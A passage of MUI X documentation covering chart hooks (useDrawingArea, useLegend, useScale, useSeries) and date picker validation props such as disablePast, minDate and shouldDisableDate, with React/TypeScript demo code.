}
```

This demo displays:

- A red dashed border showing the exact drawing area boundaries
- Corner markers at each corner of the drawing area
- A center cross marking the middle of the drawing area
- Real-time dimension and center point information

```tsx
import { useDrawingArea } from '@mui/x-charts/hooks';
import { LineChart } from '@mui/x-charts/LineChart';

function CustomOverlay() {
  const { left, top, width, height } = useDrawingArea();

  return (
    <g>
      {/* Drawing area border */}
      <rect
        x={left}
        y={top}
        width={width}
        height={height}
        fill="transparent"
        stroke="red"
        strokeWidth={2}
        strokeDasharray="5,5"
      />

      {/* Corner markers */}
      <circle cx={left} cy={top} r={4} fill="red" />
      <circle cx={width + left} cy={top} r={4} fill="red" />
      <circle cx={width + left} cy={top + height} r={4} fill="red" />
      <circle cx={left} cy={top + height} r={4} fill="red" />

      {/* Center cross */}
      <g stroke="red" strokeWidth={1}>
        <line
          x1={left + width / 2 - 10}
          y1={top + height / 2}
          x2={left + width / 2 + 10}
          y2={top + height / 2}
        />
        <line
          x1={left + width / 2}
          y1={top + height / 2 - 10}
          x2={left + width / 2}
          y2={top + height / 2 + 10}
        />
      </g>

      {/* Info text */}
      <text
        x={left + 10}
        y={top + 20}
        fontSize="12"
        fill="red"
        fontFamily="monospace"
      >
        Drawing Area: {width}×{height}
      </text>
      <text
        x={left + 10}
        y={top + 35}
        fontSize="12"
        fill="red"
        fontFamily="monospace"
      >
        Center: ({left + width / 2}, {top + height / 2})
      </text>
    </g>
  );
}

export default function UseDrawingArea() {
  return (
    <LineChart
      dataset={[
        { x: 1, y: 2 },
        { x: 2, y: 5 },
        { x: 3, y: 3 },
        { x: 4, y: 8 },
        { x: 5, y: 1 },
        { x: 6, y: 7 },
      ]}
      xAxis={[{ dataKey: 'x', label: 'X Axis' }]}
      yAxis={[{ label: 'Y Axis' }]}
      series={[{ dataKey: 'y', label: 'Sample Data', color: '#8884d8' }]}
      height={400}
      hideLegend
    >
      <CustomOverlay />
    </LineChart>
  );
}

```

## Return value

The hook returns an object with the following properties:

| Property | Type     | Description                                                        |
| :------- | :------- | :----------------------------------------------------------------- |
| `left`   | `number` | The gap between the left border of the SVG and the drawing area.   |
| `right`  | `number` | The gap between the right border of the SVG and the drawing area.  |
| `top`    | `number` | The gap between the top border of the SVG and the drawing area.    |
| `bottom` | `number` | The gap between the bottom border of the SVG and the drawing area. |
| `width`  | `number` | The width of the drawing area.                                     |
| `height` | `number` | The height of the drawing area.                                    |

## Caveats

This hook must be used within a chart context. See the [hooks overview](/x/react-charts/hooks/) for more information about proper usage.

---

# Source: https://mui.com/x/react-charts/hooks/use-legend.md

---
title: Charts - useLegend
productId: x-charts
---

# useLegend

Access formatted legend data for creating custom legend components.

The `useLegend` hook provides access to formatted legend data that can be used to create custom legend components.

## Usage

```js
import { useLegend } from '@mui/x-charts/hooks';

function CustomLegend() {
  const { items } = useLegend();
  // items: Array of legend items with id, label, color, markType
}
```

```tsx
import { useLegend } from '@mui/x-charts/hooks';
import { PieChart } from '@mui/x-charts/PieChart';

const data = [
  { id: 0, value: 10, label: 'Series A' },
  { id: 1, value: 15, label: 'Series B' },
  { id: 2, value: 20, label: 'Series C' },
];

function BasicUseLegendExample() {
  const { items } = useLegend();

  return (
    <div style={{ display: 'flex', flexDirection: 'column', gap: 8 }}>
      <h4>Legend Items from useLegend:</h4>
      <ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
        {items.map((item) => (
          <li
            key={item.id}
            style={{ display: 'flex', alignItems: 'center', gap: 8 }}
          >
            <div
              style={{
                width: 16,
                height: 16,
                backgroundColor: item.color,
                borderRadius: 4,
                transform: 'rotate(45deg) skew(-10deg, -10deg)',
              }}
            />
            <span>{item.label}</span>
          </li>
        ))}
      </ul>
    </div>
  );
}

export default function UseLegend() {
  return (
    <PieChart
      series={[{ data }]}
      height={200}
      slots={{ legend: BasicUseLegendExample }}
    />
  );
}

```

## Return value

The hook returns an object with the following structure:

```ts
{
  items: LegendItemParams[]
}
```

The [LegendItemParams](/x/api/charts/legend-item-params/) interface defines the structure of each legend item.

## Caveats

This hook must be used within a chart context. See the [hooks overview](/x/react-charts/hooks/) for more information about proper usage.

---

# Source: https://mui.com/x/react-charts/hooks/use-scale.md

---
title: Charts - useScale
productId: x-charts
---

# useScale

Access D3 scale functions for coordinate transformations.

The scale hooks provide access to D3 scale functions that can be used to convert data values to pixel coordinates within the chart.
Scale hooks accept an axis id as a parameter.
If provided, the hook returns the scale of the associated axis.
Otherwise it returns the scale of the default axis.

## Cartesian charts

Access the x-axis and y-axis scale function.

```js
import { useXScale, useYScale } from '@mui/x-charts/hooks';

function CustomComponent() {
  const xScale = useXScale(); // Default x-axis
  const xScaleById = useXScale('customAxisId'); // Specific x-axis
  const yScale = useYScale(); // Default y-axis
  const yScaleById = useYScale('leftAxis'); // Specific y-axis

  // Convert data value to pixel coordinate
  const xCoord = xScale(dataValue);
  const yCoord = yScale(dataValue);
}
```

## Polar charts

Access the rotation and radius scale functions for polar charts.

```js
import { useRotationScale, useRadiusScale } from '@mui/x-charts/hooks';

function CustomComponent() {
  const rotationScale = useRotationScale();
  const rotationScaleById = useRotationScale('rotationAxisId');
  const radiusScale = useRadiusScale();
  const radiusScaleById = useRadiusScale('radiusAxisId');
}
```

## Utility function

### getValueToPositionMapper

A utility function that returns a mapper function for converting values to positions, with special handling for band scales.

```js
import { getValueToPositionMapper } from '@mui/x-charts/hooks';

function CustomComponent() {
  const xScale = useXScale();
  const xMapper = getValueToPositionMapper(xScale);

  // For band scales, this centers the position within the band
  const position = xMapper(value);
}
```

## Usage example

This example shows how to use scale functions to position custom elements:

```tsx
import {
  useXScale,
  useYScale,
  getValueToPositionMapper,
  useLineSeries,
  useXAxis,
} from '@mui/x-charts/hooks';
import { LineChart } from '@mui/x-charts/LineChart';

const data = [
  { x: 1, y: 2 },
  { x: 2, y: 5 },
  { x: 3, y: 3 },
  { x: 4, y: 8 },
  { x: 5, y: 1 },
];

function CustomDataPoints() {
  const xScale = useXScale();
  const yScale = useYScale();
  const series = useLineSeries();
  const xAxis = useXAxis();

  // Use the value-to-position mapper to handle different scale types
  const xMapper = getValueToPositionMapper(xScale);
  const yMapper = getValueToPositionMapper(yScale);

  return (
    <g>
      {series.map((s) =>
        s.data.map((point, index) => {
          const x = xMapper(xAxis.data?.[index]);
          const y = yMapper(point);

          return (
            <g key={index}>
              {/* Custom data point */}
              <circle
                cx={x}
                cy={y}
                r={6}
                fill="red"
                stroke="white"
                strokeWidth={2}
              />
              {/* Value label */}
              <text
                x={x}
                y={y - 10}
                textAnchor="middle"
                fontSize="10"
                fill="red"
                fontWeight="bold"
              >
                ({index + 1}, {point})
              </text>
            </g>
          );
        }),
      )}
    </g>
  );
}

export default function UseScale() {
  return (
    <LineChart
      dataset={data}
      xAxis={[
        {
          dataKey: 'x',
          label: 'X Values',
        },
      ]}
      yAxis={[
        {
          dataKey: 'y',
          label: 'Y Values',
        },
      ]}
      series={[
        {
          dataKey: 'y',
          label: 'Sample Data',
          color: '#8884d8',
        },
      ]}
    >
      <CustomDataPoints />
    </LineChart>
  );
}

```

## Caveats

These hooks must be used within a chart context. See the [hooks overview](/x/react-charts/hooks/) for more information about proper usage.

---

# Source: https://mui.com/x/react-charts/hooks/use-series.md

---
title: Charts - useSeries
productId: x-charts
---

# useSeries

Access raw series data for all chart types.

The `use[Type]Series` hooks provide access to specific series data for a particular chart type.

## Usage

```js
import { useBarSeries, useLineSeries } from '@mui/x-charts/hooks';

function CustomComponent() {
  const barSeries = useBarSeries(); // Array of bar chart series data
  const lineSeries = useLineSeries(); // Array of line chart series data
}
```

You can also pick specific series by either providing the series id as a parameter, or an array of series ids to get.

```js
const barSeries = useBarSeries('id1');

const barSeries = useBarSeries(['id1', 'id2']);
```

The following hooks exist to access series data specific to each chart type:

- `useBarSeries`
- `useLineSeries`
- `useScatterSeries`
- `usePieSeries`
- `useRadarSeries`
- `useHeatmapSeries`
- `useFunnelSeries`
- `useSankeySeries`

This example demonstrates using the `useBarSeries` hook to access specific bar chart series data:

```tsx
import { useBarSeries } from '@mui/x-charts/hooks';
import { BarChart } from '@mui/x-charts/BarChart';
import { useTheme } from '@mui/material/styles';

const dataset = [
  { month: 'Jan', revenue: 4000, expenses: 2400 },
  { month: 'Feb', revenue: 3000, expenses: 1398 },
  { month: 'Mar', revenue: 5000, expenses: 2800 },
  { month: 'Apr', revenue: 7000, expenses: 3908 },
  { month: 'May', revenue: 6000, expenses: 4800 },
  { month: 'Jun', revenue: 3000, expenses: 8000 },
];

const inUSD = (value: number | null | undefined) => {
  if (value == null) {
    return '';
  }
  return `$${value.toLocaleString()}`;
};

function BarSeriesInfo() {
  const barSeries = useBarSeries();
  const theme = useTheme();

  const revenue = barSeries
    .find((s) => s.id === 'revenue')
    ?.data.reduce((acc, v) => acc! + (v ?? 0), 0);

  const expenses = barSeries
    .find((s) => s.id === 'expenses')
    ?.data.reduce((acc, v) => acc! + (v ?? 0), 0);

  const profit = (revenue ?? 0) - (expenses ?? 0);

  return (
    <div
      style={{
        position: 'absolute',
        top: 20,
        left: 70,
        background: `color(from ${theme.palette.text.primary} srgb r g b / ${theme.palette.mode === 'dark' ? 0.2 : 0.1})`,
        padding: 12,
        borderRadius: 4,
        fontSize: '12px',
        border: '1px solid #e0e0e0',
        zIndex: 10,
      }}
    >
      <h4 style={{ margin: '0 0 8px 0', fontSize: '14px' }}>Half Year Details</h4>
      {barSeries.map((series) => (
        <div key={series.id}>
          <span style={{ fontWeight: 600 }}>
            {typeof series.label === 'function'
              ? series.label('legend')
              : series.label}
          </span>
          <span> {inUSD(series.data.reduce((a, b) => (a ?? 0) + (b ?? 0), 0))}</span>
        </div>
      ))}
      <div>
        <span style={{ fontWeight: 600 }}>Profit</span>
        <span> {inUSD(profit)}</span>
      </div>
    </div>
  );
}

export default function UseBarSeries() {
  return (
    <div>
      <BarChart
        dataset={dataset}
        xAxis={[{ scaleType: 'band', dataKey: 'month' }]}
        sx={{ position: 'relative', height: '100%', width: '100%' }}
        yAxis={[
          {
            scaleType: 'linear',
            valueFormatter: (v) => `${inUSD(v).slice(0, 2)}k`,
          },
        ]}
        series={[
          {
            id: 'revenue',
            dataKey: 'revenue',
            label: 'Revenue',
            color: '#8884d8',
            valueFormatter: inUSD,
          },
          {
            id: 'expenses',
            dataKey: 'expenses',
            label: 'Expenses',
            color: '#82ca9d',
            valueFormatter: inUSD,
          },
        ]}
        width={500}
        height={350}
        slots={{ legend: BarSeriesInfo }}
      />
    </div>
  );
}

```

## Advanced usage

The `useSeries` hook can be used to access all series data at once.
In the example below, the `useSeries` hook is used to create a custom component that displays a line over each series max value.

:::warning
It is generally recommended to use the specific series hooks (for example, `useBarSeries`, `useLineSeries`) when working with a specific chart type, as their API is easier to use.
The `useSeries` hook is more suitable for advanced use cases where you need to work with multiple unknown chart types at once.
:::

```tsx
import * as React from 'react';
import { useSeries, useXAxis, useYAxis } from '@mui/x-charts/hooks';
import { BarPlot } from '@mui/x-charts/BarChart';
import { LinePlot } from '@mui/x-charts/LineChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';

const barData = [4, 3, 5, 7, 2] as const;
const barData2 = [1, 2, 1, 2, 3] as const;
const lineData = [2, 5, 3, 8, 4] as const;
const xLabels = ['Jan', 'Feb', 'Mar', 'Apr', 'May'] as const;

function MaxLineOnEachSeries() {
  const series = useSeries();
  const yAxis = useYAxis();
  const xAxis = useXAxis<'point'>('pointId');

  const maxEach = Object.entries(series).flatMap(([_, typeSeries]) => {
    return Object.values(typeSeries.series).map((s) => ({
      id: s.id,
      max: Math.max(...s.data),
    }));
  });

  return (
    <React.Fragment>
      {maxEach.map(({ id, max }) => (
        <line
          key={id}
          x1={xAxis.scale(xAxis.scale.domain().at(0)!)}
          x2={xAxis.scale(xAxis.scale.domain().at(-1)!)}
          y1={yAxis.scale(max)}
          y2={yAxis.scale(max)}
          stroke="gray"
          strokeDasharray="4 4"
        />
      ))}
    </React.Fragment>
  );
}

export default function UseSeries() {
  return (
    <div>
      <ChartDataProvider
        series={[
          {
            data: barData,
            label: 'Revenue',
            type: 'bar',
          },

          {
            data: lineData,
            label: 'Profit',
            type: 'line',
            xAxisId: 'pointId',
          },
          {
            data: barData2,
            label: 'Expenses',
            type: 'bar',
          },
        ]}
        xAxis={[
          { scaleType: 'band', data: xLabels },
          { id: 'pointId', scaleType: 'point', data: xLabels },
        ]}
        yAxis={[{ scaleType: 'linear' }]}
        width={400}
        height={300}
      >
        <ChartsSurface>
          <BarPlot />
          <LinePlot />
          <ChartsXAxis />
          <ChartsYAxis />
          <MaxLineOnEachSeries />
        </ChartsSurface>
      </ChartDataProvider>
    </div>
  );
}

```

## Caveats

This hook must be used within a chart context. See the [hooks overview](/x/react-charts/hooks/) for more information about proper usage.

---

# Source: https://mui.com/x/react-date-pickers/validation.md

---
productId: x-date-pickers
components: DatePicker, DesktopDatePicker, MobileDatePicker, StaticDatePicker, TimePicker, DesktopTimePicker, MobileTimePicker, StaticTimePicker, DateTimePicker, DesktopDateTimePicker, MobileDateTimePicker, StaticDateTimePicker, DateRangePicker, DesktopDateRangePicker, MobileDateRangePicker, StaticDateRangePicker, TimeRangePicker, DesktopTimeRangePicker, MobileTimeRangePicker, DateTimeRangePicker, DesktopDateTimeRangePicker, MobileDateTimeRangePicker, DateCalendar
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers'
---

# Date and Time Pickers - Validation

Add custom validation to user inputs.

All the date and time pickers have an API for adding validation constraints.
By default, they provide visual feedback if the component value doesn't meet the validation criteria.

:::info
The validation props are showcased for each type of picker component using the responsive pickers (`DatePicker`, `TimePicker`, `DateTimePicker`, and `DateRangePicker`, etc.).

But the same props are available on:

- all the other variants of this picker;

  For example, the validation props showcased with `DatePicker` are also available on:
  - `DesktopDatePicker`
  - `MobileDatePicker`
  - `StaticDatePicker`

- the field used by this picker;

  For example, the validation props showcased with `DatePicker` are also available on `DateField`.

- the view components;

  For example, the validation props showcased with `TimePicker` are also available on `TimeClock` and `DigitalClock`.

:::

## Invalid values feedback

On the field, it enables its error state.

```tsx
import dayjs from 'dayjs';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateField } from '@mui/x-date-pickers/DateField';

const tomorrow = dayjs().add(1, 'day');

export default function ValidationBehaviorInput() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DateField defaultValue={tomorrow} disableFuture />
    </LocalizationProvider>
  );
}

```

On the calendar and clock views, the invalid values are displayed as disabled to prevent their selection.

```tsx
import dayjs from 'dayjs';
import Grid from '@mui/material/Grid';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';
import { TimeClock } from '@mui/x-date-pickers/TimeClock';

const today = dayjs();
const twoPM = dayjs().set('hour', 14).startOf('hour');
const threePM = dayjs().set('hour', 15).startOf('hour');

export default function ValidationBehaviorView() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Grid
        container
        columns={{ xs: 1, lg: 2 }}
        spacing={4}
        alignItems="center"
        justifyContent="center"
      >
        <Grid>
          <DateCalendar defaultValue={today} disableFuture />
        </Grid>
        <Grid>
          <TimeClock defaultValue={twoPM} maxTime={threePM} />
        </Grid>
      </Grid>
    </LocalizationProvider>
  );
}

```

## Past and future validation

All pickers support the past and future validation.

The `disablePast` prop prevents the selection of all values before today for date pickers, and the selection of all values before the current time for time pickers.
For date time pickers, it will combine both.

- On the `day` view, all the days before today won't be selectable.
- On the `month` and `year` views, all the values ending before today won't be selectable.
- On the `hours` and `minutes` views, all the values ending before the current time won't be selectable.
- On the `seconds` view, all the values before the current second won't be selectable.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { TimePicker } from '@mui/x-date-pickers/TimePicker';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { TimeRangePicker } from '@mui/x-date-pickers-pro/TimeRangePicker';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

const today = dayjs();
const yesterday = dayjs().subtract(1, 'day');
const todayStartOfTheDay = today.startOf('day');

export default function DateValidationDisablePast() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DatePicker',
          'TimePicker',
          'DateTimePicker',
          'DateRangePicker',
          'TimeRangePicker',
          'DateTimeRangePicker',
        ]}
      >
        <DemoItem label="DatePicker">
          <DatePicker
            defaultValue={yesterday}
            disablePast
            views={['year', 'month', 'day']}
          />
        </DemoItem>
        <DemoItem label="TimePicker">
          <TimePicker defaultValue={todayStartOfTheDay} disablePast />
        </DemoItem>
        <DemoItem label="DateTimePicker">
          <DateTimePicker
            defaultValue={yesterday}
            disablePast
            views={['year', 'month', 'day', 'hours', 'minutes']}
          />
        </DemoItem>
        <DemoItem label="DateRangePicker" component="DateRangePicker">
          <DateRangePicker defaultValue={[yesterday, today]} disablePast />
        </DemoItem>
        <DemoItem label="TimeRangePicker" component="TimeRangePicker">
          <TimeRangePicker defaultValue={[yesterday, today]} disablePast />
        </DemoItem>
        <DemoItem label="DateTimeRangePicker" component="DateTimeRangePicker">
          <DateTimeRangePicker defaultValue={[yesterday, today]} disablePast />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

The `disableFuture` prop prevents the selection all values after today for date pickers and the selection of all values after the current time for time pickers.
For date time pickers, it will combine both.

- On the `day` view, all the days after today won't be selectable.
- On the `month` and `year` views, all the values beginning after today won't be selectable.
- On the `hours` and `minutes` views, all the values beginning after the current time won't be selectable.
- On the `seconds` view, all the values after the current second won't be selectable.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { TimePicker } from '@mui/x-date-pickers/TimePicker';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { TimeRangePicker } from '@mui/x-date-pickers-pro/TimeRangePicker';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

const today = dayjs();
const tomorrow = dayjs().add(1, 'day');
const todayEndOfTheDay = today.endOf('day');

export default function DateValidationDisableFuture() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DatePicker',
          'TimePicker',
          'DateTimePicker',
          'DateRangePicker',
          'TimeRangePicker',
          'DateTimeRangePicker',
        ]}
      >
        <DemoItem label="DatePicker">
          <DatePicker
            defaultValue={tomorrow}
            disableFuture
            views={['year', 'month', 'day']}
          />
        </DemoItem>
        <DemoItem label="TimePicker">
          <TimePicker defaultValue={todayEndOfTheDay} disableFuture />
        </DemoItem>
        <DemoItem label="DateTimePicker">
          <DateTimePicker
            defaultValue={tomorrow}
            disableFuture
            views={['year', 'month', 'day', 'hours', 'minutes']}
          />
        </DemoItem>
        <DemoItem label="DateRangePicker" component="DateRangePicker">
          <DateRangePicker defaultValue={[today, tomorrow]} disableFuture />
        </DemoItem>
        <DemoItem label="TimeRangePicker" component="TimeRangePicker">
          <TimeRangePicker defaultValue={[today, tomorrow]} disableFuture />
        </DemoItem>
        <DemoItem label="DateTimeRangePicker" component="DateTimeRangePicker">
          <DateTimeRangePicker defaultValue={[today, tomorrow]} disableFuture />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info
The current time is computed during the first render of the `LocalizationProvider`.
It will not change during the lifetime of the component.
:::

## Date validation

All the props described below are available on all the components supporting date edition.

### Minimum and maximum date

The `minDate` prop prevents the selection of all values before `props.minDate`.

- On the `day` view, all the days before the `minDate` won't be selectable.
- On the `month` and `year` views, all the values ending before the `minDate` won't be selectable.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

const today = dayjs();
const tomorrow = dayjs().add(1, 'day');

export default function DateValidationMinDate() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DatePicker',
          'DateTimePicker',
          'DateRangePicker',
          'DateTimeRangePicker',
        ]}
      >
        <DemoItem label="DatePicker">
          <DatePicker
            defaultValue={today}
            minDate={tomorrow}
            views={['year', 'month', 'day']}
          />
        </DemoItem>
        <DemoItem label="DateTimePicker">
          <DateTimePicker
            defaultValue={today}
            minDate={tomorrow}
            views={['year', 'month', 'day', 'hours', 'minutes']}
          />
        </DemoItem>
        <DemoItem label="DateRangePicker" component="DateRangePicker">
          <DateRangePicker defaultValue={[today, tomorrow]} minDate={tomorrow} />
        </DemoItem>
        <DemoItem label="DateTimeRangePicker" component="DateTimeRangePicker">
          <DateTimeRangePicker defaultValue={[today, tomorrow]} minDate={tomorrow} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info
The default value of `minDate` is `1900-01-01`.
:::

The `maxDate` prop prevents the selection of all values after `props.maxDate`.

- On the `day` view, all the days after the `maxDate` won't be selectable.
- On the `month` and `year` views, all the values starting after the `maxDate` won't be selectable.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

const today = dayjs();
const yesterday = dayjs().subtract(1, 'day');

export default function DateValidationMaxDate() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DatePicker',
          'DateTimePicker',
          'DateRangePicker',
          'DateTimeRangePicker',
        ]}
      >
        <DemoItem label="DatePicker">
          <DatePicker
            defaultValue={today}
            maxDate={yesterday}
            views={['year', 'month', 'day']}
          />
        </DemoItem>
        <DemoItem label="DateTimePicker">
          <DateTimePicker
            defaultValue={today}
            maxDate={yesterday}
            views={['year', 'month', 'day', 'hours', 'minutes']}
          />
        </DemoItem>
        <DemoItem label="DateRangePicker" component="DateRangePicker">
          <DateRangePicker defaultValue={[yesterday, today]} maxDate={yesterday} />
        </DemoItem>
        <DemoItem label="DateTimeRangePicker" component="DateTimeRangePicker">
          <DateTimeRangePicker
            defaultValue={[yesterday, today]}
            maxDate={yesterday}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info
The default value of `maxDate` is `2099-12-31`.
:::

### Disable specific dates

The `shouldDisableDate` prop prevents the selection of all dates for which it returns `true`.

In the example below, the weekends are not selectable:

```tsx
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

const lastMonday = dayjs().startOf('week');
const nextSunday = dayjs().endOf('week').startOf('day');

const isWeekend = (date: Dayjs) => {
  const day = date.day();

  return day === 0 || day === 6;
};

export default function DateValidationShouldDisableDate() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DatePicker',
          'DateTimePicker',
          'DateRangePicker',
          'DateTimeRangePicker',
        ]}
      >
        <DemoItem label="DatePicker">
          <DatePicker
            defaultValue={nextSunday}
            shouldDisableDate={isWeekend}
            views={['year', 'month', 'day']}
          />
        </DemoItem>
        <DemoItem label="DateTimePicker">
          <DateTimePicker
            defaultValue={nextSunday}
            shouldDisableDate={isWeekend}
            views={['year', 'month', 'day', 'hours', 'minutes']}
          />
        </DemoItem>
        <DemoItem label="DateRangePicker" component="DateRangePicker">
          <DateRangePicker
            defaultValue={[lastMonday, nextSunday]}
            shouldDisableDate={isWeekend}
          />
        </DemoItem>
        <DemoItem label="DateTimeRangePicker" component="DateTimeRangePicker">
          <DateTimeRangePicker
            defaultValue={[lastMonday, nextSunday]}
            shouldDisableDate={isWeekend}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::warning
`shouldDisableDate` only prevents the selection of disabled dates on the `day` view.
For performance reasons, when rendering the `month` view, we are not calling the callback for every day of each month to see which one should be disabled (same for the `year` view).

If you know that all days of some months are disabled, you can provide the [`shouldDisableMonth`](#disable-specific-months) prop to disable them in the `month` view.
Same with the [`shouldDisableYear`](#disable-specific-years) prop for the `year` view.
:::

:::success
Please note that `shouldDisableDate` will execute on every date rendered in the `day` view. Expensive computations in this validation function can impact performance.
:::

#### Disable specific dates in range components [<span class="pro-premium"></span>](/x/introduction/licensing/#pro-plan)

For components supporting date range edition (`DateRangePicker`, `DateTimeRangePicker`), the `shouldDisableDate` prop receives a second argument to differentiate the start and the end date.

In the example below, the start date cannot be in the weekend but the end date can.

```tsx
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

const lastSunday = dayjs().startOf('week').subtract(1, 'day');
const nextSunday = dayjs().endOf('week').startOf('day');

const isWeekend = (date: Dayjs) => {
  const day = date.day();

  return day === 0 || day === 6;
};

export default function DateRangeValidationShouldDisableDate() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangePicker', 'DateTimeRangePicker']}>
        <DemoItem label="DateRangePicker" component="DateRangePicker">
          <DateRangePicker
            defaultValue={[lastSunday, nextSunday]}
            shouldDisableDate={(date, position) => {
              if (position === 'end') {
                return false;
              }

              return isWeekend(date);
            }}
          />
        </DemoItem>
        <DemoItem label="DateTimeRangePicker" component="DateTimeRangePicker">
          <DateTimeRangePicker
            defaultValue={[lastSunday, nextSunday]}
            shouldDisableDate={(date, position) => {
              if (position === 'end') {
                return false;
              }

              return isWeekend(date);
            }}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Disable specific months

The `shouldDisableMonth` prop prevents the selection of all dates in months for which it returns `true`.

```tsx
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';

const today = dayjs();

const isInCurrentMonth = (date: Dayjs) => date.get('month') === dayjs().get('month');

export default function DateValidationShouldDisableMonth() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker', 'DateTimePicker']}>
        <DemoItem label="DatePicker">
          <DatePicker
            defaultValue={today}
            shouldDisableMonth={isInCurrentMonth}
            views={['year', 'month', 'day']}
          />
        </DemoItem>
        <DemoItem label="DateTimePicker">
          <DateTimePicker
            defaultValue={today}
            shouldDisableMonth={isInCurrentMonth}
            views={['year', 'month', 'day', 'hours', 'minutes']}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::warning
`shouldDisableMonth` only prevents the selection of disabled months on the `day` and `month` views.
For performance reasons, when rendering the `year` view, we are not calling the callback for every month of each year to see which one should be disabled.

If you know that all months of some years are disabled, you can provide the [`shouldDisableYear`](#disable-specific-years) prop to disable them in the `year` view.
:::

### Disable specific years

The `shouldDisableYear` prop prevents the selection of all dates in years for which it returns `true`.

```tsx
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';

const today = dayjs();

